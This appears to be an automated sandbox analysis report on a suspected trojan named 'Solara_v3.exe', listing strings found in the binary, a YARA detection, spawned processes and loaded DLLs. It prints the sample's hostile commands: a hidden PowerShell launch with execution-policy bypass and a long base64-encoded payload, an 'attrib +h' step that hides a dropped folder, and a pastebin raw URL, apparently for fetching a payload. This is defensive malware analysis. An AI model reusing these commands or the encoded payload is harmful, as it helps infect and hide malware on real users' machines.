    Source: Solara_v3.exe, 00000000.00000000.2035091772.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmp, Solara_v3.exe, 00000000.00000002.2193400478.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: https://github.com/clap-rs/clap/issuesH9u
    Source: Solara_v3.exeString found in binary or memory: https://github.com/ctz/webpki-roots
    Source: Solara_v3.exeString found in binary or memory: https://github.com/denoland/deno/issues
    Source: Solara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/denoland/deno/issues/4591)
    Source: Solara_v3.exeString found in binary or memory: https://github.com/denoland/deno/releases
    Source: Solara_v3.exeString found in binary or memory: https://github.com/denoland/deno/tree/master/test_plugin
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/github/fetch/blob/master/fetch.js
    Source: Solara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/golang/go/blob/master/LICENSE
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/inexorabletash/text-encoding
    Source: Solara_v3.exeString found in binary or memory: https://github.com/v8/v8/blob/24886f2d1c565287d33d71e4109a53bf0b54b75c/LICENSE.v8
    Source: Solara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/vadimg/js_bintrees.
    Source: powershell.exe, 00000003.00000002.2161258730.000001E101194000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
    Source: Solara_v3.exeString found in binary or memory: https://golang.org/pkg/bytes/#Buffer).
    Source: Solara_v3.exeString found in binary or memory: https://golang.org/pkg/bytes/#Buffer.Grow).
    Source: Solara_v3.exeString found in binary or memory: https://golang.org/pkg/bytes/#Buffer.ReadFrom).
    Source: Solara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://golang.org/pkg/io/#pkg-constants
    Source: Solara_v3.exeString found in binary or memory: https://myserver.com
    Source: Solara_v3.exeString found in binary or memory: https://no-color.org/
    Source: powershell.exe, 00000003.00000002.2173830740.000001E110075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
    Source: Solara_v3.exe, 00000000.00000002.2192007524.000001E8E3F90000.00000004.00000020.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000002.2191930494.000001E8E26C9000.00000004.00000020.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190676361.000001E8E26C7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/RsTRUBeb
    Source: Solara_v3.exe, 00000000.00000002.2192149844.000001E8E4073000.00000004.00000020.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000002.2192026254.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/RsTRUBeb):
    Source: Solara_v3.exeString found in binary or memory: https://some/file.ts
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://streams.spec.whatwg.org/
    Source: Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc2046#section-5.1
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://url.spec.whatwg.org/#idna
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://url.spec.whatwg.org/#port-state
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://url.spec.whatwg.org/#special-scheme
    Source: Solara_v3.exeString found in binary or memory: https://v8.dev/docs/stack-trace-api#stack-trace-collection-for-custom-exceptions.
    Source: Solara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://w3c.github.io/FileAPI/
    Source: Solara_v3.exeString found in binary or memory: https://w3c.github.io/permissions/#permission-descriptor
    Source: Solara_v3.exeString found in binary or memory: https://w3c.github.io/permissions/#permission-registry
    Source: Solara_v3.exeString found in binary or memory: https://w3c.github.io/permissions/#permissionstatus
    Source: Solara_v3.exeString found in binary or memory: https://w3c.github.io/permissions/#status-of-a-permission
    Source: Solara_v3.exeString found in binary or memory: https://w3c.github.io/user-timing)
    Source: Solara_v3.exeString found in binary or memory: https://wicg.github.io/import-maps/
    Source: Solara_v3.exeString found in binary or memory: https://www.catcert.net/verarrel
    Source: Solara_v3.exeString found in binary or memory: https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml
    Source: Solara_v3.exeString found in binary or memory: https://www.npmjs.com/package/tslib).
    Source: Solara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.rapidtables.com/convert/color/hsl-to-rgb.html
    Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705

    System Summary

    barindex
    Malicious sample detected (through community Yara rule)
    Source: Process Memory Space: powershell.exe PID: 652, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
    Source: C:\Users\user\Desktop\Solara_v3.exeFile created: C:\WindowsSystemJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FF848F2D70C3_2_00007FF848F2D70C
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FF848F2D7953_2_00007FF848F2D795
    Source: Solara_v3.exe, 00000000.00000000.2035091772.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: containerKindoriginalTextSpanoriginalFileNameoriginalContextSpanstruct DefinitionInfostruct DefinitionInfo with 10 elements vs Solara_v3.exe
    Source: Solara_v3.exe, 00000000.00000000.2035091772.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: $containerKindoriginalTextSpanoriginalFileNameoriginalContextSpanstruct DefinitionInfostruct DefinitionInfo with 10 elements vs Solara_v3.exe
    Source: Solara_v3.exe, 00000000.00000002.2193400478.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: containerKindoriginalTextSpanoriginalFileNameoriginalContextSpanstruct DefinitionInfostruct DefinitionInfo with 10 elements vs Solara_v3.exe
    Source: Solara_v3.exe, 00000000.00000002.2193400478.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: $containerKindoriginalTextSpanoriginalFileNameoriginalContextSpanstruct DefinitionInfostruct DefinitionInfo with 10 elements vs Solara_v3.exe
    Source: Solara_v3.exeBinary or memory string: containerKindoriginalTextSpanoriginalFileNameoriginalContextSpanstruct DefinitionInfostruct DefinitionInfo with 10 elements vs Solara_v3.exe
    Source: Solara_v3.exeBinary or memory string: $containerKindoriginalTextSpanoriginalFileNameoriginalContextSpanstruct DefinitionInfostruct DefinitionInfo with 10 elements vs Solara_v3.exe
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: Commandline size = 3440
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: Commandline size = 3440Jump to behavior
    Source: Process Memory Space: powershell.exe PID: 652, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
    Source: classification engineClassification label: mal76.troj.expl.evad.winEXE@10/10@1/1
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5832:120:WilError_03
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_slhvrxoz.eib.ps1Jump to behavior
    Source: Solara_v3.exe, 00000000.00000002.2193400478.00007FF6A1235000.00000002.00000001.01000000.00000003.sdmpMemory string: rustls::msgs::handshakeIllegal SNI hostname received
    Source: Solara_v3.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: C:\Users\user\Desktop\Solara_v3.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: Solara_v3.exeString found in binary or memory: deno test src/v8-flags-help
    Source: Solara_v3.exeString found in binary or memory: deno test src/v8-flags-helpI
    Source: Solara_v3.exeString found in binary or memory: Examples: https://github.com/WICG/import-maps#the-import-mapSet V8 command line options (for help: --v8-flags=--help)Watch for file changes and restart process automaticallyWatch for file changes and restart process automatically.
    Source: Solara_v3.exeString found in binary or memory: Examples: https://github.com/WICG/import-maps#the-import-mapSet V8 command line options (for help: --v8-flags=--help)Watch for file changes and restart process automaticallyWatch for file changes and restart process automatically.
    Source: Solara_v3.exeString found in binary or memory: Multi-address mappings are not yet supported
    Source: Solara_v3.exeString found in binary or memory: For a list of V8 flags, use '--v8-flags=--help'
    Source: Solara_v3.exeString found in binary or memory: For a list of V8 flags, use '--v8-flags=--help'
    Source: Solara_v3.exeString found in binary or memory: overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script>
    Source: Solara_v3.exeString found in binary or memory: binauthoraboutlong-aboutall-argsunifiedpositionalssubcommandsafter-helpbefore-helpCould not decode tag nameunknown versionunknown authorunknown aboutunknown after-helpunknown before-help
    Source: Solara_v3.exeString found in binary or memory: USAGE:--help
    Source: Solara_v3.exeString found in binary or memory: USAGE:--help
    Source: Solara_v3.exeString found in binary or memory: :Madrid (see current address at www.camerfirma.com/address)1
    Source: Solara_v3.exeString found in binary or memory: Try --help for options
    Source: Solara_v3.exeString found in binary or memory: Try --help for options
    Source: Solara_v3.exeString found in binary or memory: timer-event-start
    Source: Solara_v3.exeString found in binary or memory: result%lldapicheck-securityshared-librarycurrent-timetimer-event-starttimer-event-endtimer-eventblockbuiltin_hashnewdeletecode-source-infoCOIFS
    Source: C:\Users\user\Desktop\Solara_v3.exeFile read: C:\Users\user\Desktop\Solara_v3.exeJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\Solara_v3.exe "C:\Users\user\Desktop\Solara_v3.exe"
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAF
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline"
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37CB.tmp" "c:\Users\user\AppData\Local\Temp\qe2pugvo\CSC164F6F5C146F445CBD8C979E31D12C49.TMP"
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\attrib.exe "attrib" +h C:\WindowsSystem
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\attrib.exe "attrib" +h C:\WindowsSystemJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline"Jump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37CB.tmp" "c:\Users\user\AppData\Local\Temp\qe2pugvo\CSC164F6F5C146F445CBD8C979E31D12C49.TMP"Jump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: apphelp.dllJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: dbghelp.dllJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: winmm.dllJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: mswsock.dllJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: dnsapi.dllJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: iphlpapi.dllJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: rasadhlp.dllJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeSection loaded: fwpuclnt.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
